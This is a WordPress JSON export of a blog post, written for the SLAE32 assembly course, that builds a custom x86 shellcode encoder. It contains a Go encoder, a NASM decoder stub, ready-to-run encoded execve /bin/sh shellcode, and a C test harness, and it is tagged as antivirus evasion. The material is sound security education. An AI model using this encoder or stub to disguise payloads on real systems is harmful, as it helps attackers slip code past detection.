{"id":735,"date":"2020-08-14T10:55:14","date_gmt":"2020-08-14T10:55:14","guid":{"rendered":"http:\/\/mosunit.com\/?p=735"},"modified":"2020-08-14T10:55:15","modified_gmt":"2020-08-14T10:55:15","slug":"building-an-x86-custom-encoder","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=735","title":{"rendered":"Building an x86 custom encoder"},"content":{"rendered":"\n<p>In this post, we will discuss custom encoding. The premise is simple: A client side encoder will encode the shellcode. This encoded shellcode will be embedded in the exploit. The exploit will also contain the decoder. So, during execution, the decoder will decode the encoded shellcode to its original form and then pass on the control to shellcode for execution. <\/p>\n\n\n\n<p>For this, any encoding technique can be used. Let&#8217;s dive straight into it.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Encoder !<\/h2>\n\n\n\n<p>First up is the encoder. As mentioned, our aim to think of an encoding scheme and then encode our shellcode using it. For this, I have decided to keep the encoding scheme simple to demonstrate the proof of concept. We will encode the shellcode using following technique\/operations.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"139\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/1-2.png\" alt=\"\" class=\"wp-image-745\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/1-2.png 749w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/1-2-300x56.png 300w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/figure>\n\n\n\n<p>To encode the raw shellcode, I have written a script Go. The Go script has been hardcoded with <em>execve<\/em> shellcode. The shellcode uses exeve syscall to spawn shell(\/bin\/sh) on local system. However, the hardcoded shellcode can be swapped with any other shellcode to get an encoded payload. For this, I have modified the original <a rel=\"noreferrer noopener\" href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\" target=\"_blank\">Commandlinefu<\/a> as mentioned in previous post to convert shellcode in to an output which can be directly embedded in my Go code. The updated command is also published at <a rel=\"noreferrer noopener\" href=\"https:\/\/www.commandlinefu.com\/commands\/view\/24993\/extract-and-convert-shellcode-to-be-embedded-into-golang-code-using-objdump\" target=\"_blank\">Commandlinefu<\/a><\/p>\n\n\n\n<p>Following is the Go code:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/*\nTool:\t\t\t\tCustom Encoder\nEncoding Scheme:\tXOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa\nAuthor:\t\t\t\tMohit Suyal (@mosunit)\nStudent ID:\t\t\tPA-16521\nBlog:\t\t\t\thttps:\/\/mosunit.com\n*\/\n\npackage main\n\nimport (\n\t\"fmt\"\n)\n\nfunc main() {\n\n\t\/\/ exeve_sh shellcode - spawns shell(\/bin\/sh) on localhost\n\tShellcode := []byte{0x31, 0xc0, 0x50, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3, 0x50, 0x89, 0xe2, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80}\n\n\t\/\/ key for XOR operation\n\tvar key byte = 0xaa\n\n\t\/\/ create a slice to store encoded shellcode\n\tEncodedShellcode := make([]byte, 25)\n\n\t\/\/ encode operation\n\tfor i := range Shellcode {\n\n\t\tXorFirst := Shellcode[i] ^ key\n\t\tIncrement := XorFirst + 1\n\t\tNot := ^Increment\n\t\tXorSecond := Not ^ key\n\t\tEncodedShellcode[i] = XorSecond\n\t}\n\n\t\/\/ format the encoded code - to be included in shellcode program\n\tfor i := range EncodedShellcode {\n\t\t\/\/ check the index value to match the last element of the slice\n\t\t\/\/ this if statement is true for all index values except the last\n\t\tif i != len(EncodedShellcode)-1 {\n\t\t\t\/\/ Check if the hex coversion of slice element will be less than 2 digits; append an additional \"0\", if true\n\t\t\tif EncodedShellcode[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"0x0%x,\", EncodedShellcode[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x,\", EncodedShellcode[i])\n\t\t\t}\n\t\t} else {\n\t\t\tif EncodedShellcode[i] &lt; 16 {\n\t\t\t\tfmt.Printf(\"0x0%x\", EncodedShellcode[i])\n\t\t\t} else {\n\t\t\t\tfmt.Printf(\"0x%x\", EncodedShellcode[i])\n\t\t\t}\n\t\t}\n\t}\n}\n<\/pre>\n\n\n\n<p>Once the code is run, we get the encoded shellcode. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">PS E:\\&lt;snipped>\\SLAE\\assignment-4> go run .\\custom_encoder.go\n0xc9,0x3e,0xae,0x96,0x90,0xd3,0x8f,0x96,0x96,0xd3,0xd3,0x9c,0x91,0x71,0x1f,0xae,0x71,0x1c,0xaf,0x71,0x19,0x4e,0xf7,0x3d,0x7e<\/pre>\n\n\n\n<p>So, we are done with the encoding part. We have our encoded shellcode ready, which is nothing but gibberish instructions. <\/p>\n\n\n\n<h2 class=\"wp-block-heading\">The Decoder !<\/h2>\n\n\n\n<p>Our next task is to write a decoder stub that decodes this encoded shellcode at runtime to transform it into original raw shellcode. The steps to be followed will be reverse of what we did in the encoding part.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"749\" height=\"146\" src=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2.png\" alt=\"\" class=\"wp-image-757\" srcset=\"https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2.png 749w, https:\/\/mosunit.com\/wp-content\/uploads\/2020\/08\/2-300x58.png 300w\" sizes=\"auto, (max-width: 749px) 100vw, 749px\" \/><\/figure>\n\n\n\n<p>The assembly code is as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">;Tool:                  Custom Encoder\n;ncoding Scheme:        XOR with 0xaa -> Increment by 1 -> NOT -> XOR with 0xaa\n;uthor:                 Mohit Suyal (@mosunit)\n;Student ID:            PA-16521\n;Blog:                  https:\/\/mosunit.com\n\nglobal _start\n\nsection .text\n\n_start:\n\njmp short shellcode\n\ndecoder:\n        ; retrive address of encoded shellcode using jmp-call-pop technique\n        pop esi\n\ndecode_stub:\n        ; first operation - XOR with 0xaa\n        xor byte [esi], 0xaa\n\n        ; jump when xored with dummy byte - signifies end of shellcode\n        ; pass the control for execution when complete shellcode is decoded\n        jz encoded_shellcode\n\n        ; second operatino - NOT\n        not byte [esi]\n\n        ; third operation - decrement by 1 byte\n        dec byte [esi]\n\n        ; fourth operation - XOR with 0xaa\n        xor byte [esi], 0xaa\n\n        ; counter to increament to next byte in shellcode\n        inc esi\n\n        ; decode loop\n        jmp short decode_stub\n\n\nshellcode:\n        call decoder\n\n        ; encoded shellcode\n        ; shellcode ends with dummy byte 0xaa - signifies end of shellcode\n        encoded_shellcode: db 0xc9,0x3e,0xae,0x96,0x90,0xd3,0x8f,0x96,0x96,0xd3,0xd3,0x9c,0x91,0x71,0x1f,0xae,0x71,0x1c,0xaf,0x71,0x19,0x4e,0xf7,0x3d,0x7e,0xaa\n<\/pre>\n\n\n\n<p>Let me explain what is going on here:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>We use <em>db(define byte)<\/em> to input our encoded shellcode that we generated in the last step. One key point to note here is that we add an additional byte (0xaa) at the end of shellcode. This is a dummy byte which signifies the end of shellcode. We will use this with XOR operation later to check if the entire shellcode has been decoded or not. Based upon the answer, we will make further decisions<\/li><li>We use <a rel=\"noreferrer noopener\" href=\"https:\/\/epi052.gitlab.io\/notes-to-self\/blog\/2018-07-15-jmp-call-pop\/\" target=\"_blank\">jmp-call-pop technique<\/a> to get the address of the encoded shellcoded. In the last step, the address of encoded shellcode is popped in ESI register using <em>POP ESI <\/em>instruction.<\/li><li>Next is the decoder stub whose task is to decode the encoded shellcode and once encoded, pass the execution to the raw\/original shellcode for execution.<ul><li>The decoder reverses the order and operation that was performed to encode the shellcode. The operation sequence has already been highlighted in the flow diagram above.<\/li><li>One key point here is that after we XOR a byte with 0xaa in first step, we check if the output is zero or zero flag is set; which will happen when the decoder stub encounters the dummy byte (<em>0xaa<\/em>).If yes, we know that we have reached the end of shellcode and the entire encoded shellcode has been decoded. In such case, the execution flow is redirected to the start of encoded shellcode.<\/li><\/ul><\/li><\/ol>\n\n\n\n<p>Let&#8217;s assemble, link and extract the shellcode. The shellcode is extracted using this <a rel=\"noreferrer noopener\" href=\"https:\/\/www.commandlinefu.com\/commands\/view\/6051\/get-all-shellcode-on-binary-file-from-objdump\" target=\"_blank\">Commandlinefu<\/a>.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-4# nasm -elf32 -o custom_encoder custom_encoder.nasm\nroot@kali:~\/slae\/assignments\/assignment-4# ld -o custom_encoder custom_encoder.o\nroot@kali:~\/slae\/assignments\/assignment-4# file custom_encoder\ncustom_encoder: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, not stripped\nroot@kali:~\/slae\/assignments\/assignment-4# objdump -d custom_encoder |grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\\t' ' '|sed 's\/ $\/\/g'|sed 's\/ \/\\\\x\/g'|paste -d '' -s |sed 's\/^\/\"\/'|sed 's\/$\/\"\/g'\n\"\\xeb\\x10\\x5e\\x80\\x36\\xaa\\x74\\x0f\\xf6\\x16\\xfe\\x0e\\x80\\x36\\xaa\\x46\\xeb\\xf1\\xe8\\xeb\\xff\\xff\\xff\\xc9\\x3e\\xae\\x96\\x90\\xd3\\x8f\\x96\\x96\\xd3\\xd3\\x9c\\x91\\x71\\x1f\\xae\\x71\\x1c\\xaf\\x71\\x19\\x4e\\xf7\\x3d\\x7e\\xaa\"<\/pre>\n\n\n\n<p>We have the shellcode with us. Let&#8217;s put this in our skeleton C program to check if this runs successfully.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h>\n#include &lt;string.h>\n\nunsigned char code[] = \\\n\"\\xeb\\x10\\x5e\\x80\\x36\\xaa\\x74\\x0f\\xf6\\x16\\xfe\\x0e\\x80\\x36\\xaa\\x46\\xeb\\xf1\\xe8\\xeb\\xff\\xff\\xff\\xc9\\x3e\\xae\\x96\\x90\\xd3\\x8f\\x96\\x96\\xd3\\xd3\\x9c\\x91\\x71\\x1f\\xae\\x71\\x1c\\xaf\\x71\\x19\\x4e\\xf7\\x3d\\x7e\\xaa\";\n\nmain()\n\n{\n        printf(\"Shellcode length: %d\\n\", strlen(code));\n        int (*ret)() = (int(*)())code;\n        ret();\n}\n<\/pre>\n\n\n\n<p>The final step is to compile this using gcc and then run it. We need to add <code>fno-stack-protector<\/code> to unprotect the stack and <code>execstack<\/code> to make the stack executable. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">root@kali:~\/slae\/assignments\/assignment-4# gcc -fno-stack-protector -z execstack shellcode.c -o shellcode\nshellcode.c:7:1: warning: return type defaults to \u2018int\u2019 [-Wimplicit-int]\n    7 | main()\n      | ^~~~\nroot@kali:~\/slae\/assignments\/assignment-4# .\/shellcode\nShellcode length: 49\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# ps\n  PID TTY          TIME CMD\n 1075 pts\/3    00:00:00 bash\n 8840 pts\/3    00:00:00 sh\n 8848 pts\/3    00:00:00 ps\n#\n<\/pre>\n\n\n\n<p>There we have it ! Our encoded shellcode was decoded successfully at runtime and then executed. <\/p>\n\n\n\n<p>This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: <a href=\"https:\/\/www.pentesteracademy.com\/course?id=3\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/www.pentesteracademy.com\/course?id=3<\/a><\/p>\n\n\n\n<p>Student ID: PA-16521<\/p>\n\n\n\n<p>The code is also stored at <a rel=\"noreferrer noopener\" href=\"https:\/\/github.com\/mosunit\/SLAE32\/tree\/master\/Assignment-4\" target=\"_blank\">GitHub<\/a>. Thanks for reading !<\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post, we will discuss custom encoding. The premise is simple: A client side encoder will encode the shellcode. This encoded shellcode will be&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[20,4,21,25],"tags":[],"class_list":["post-735","post","type-post","status-publish","format-standard","hentry","category-assembly","category-av-evasion","category-shellcoding","category-slae"],"_links":{"self":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/735","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=735"}],"version-history":[{"count":28,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/735\/revisions"}],"predecessor-version":[{"id":770,"href":"https:\/\/mosunit.com\/index.php?rest_route=\/wp\/v2\/posts\/735\/revisions\/770"}],"wp:attachment":[{"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=735"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=735"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/mosunit.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=735"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}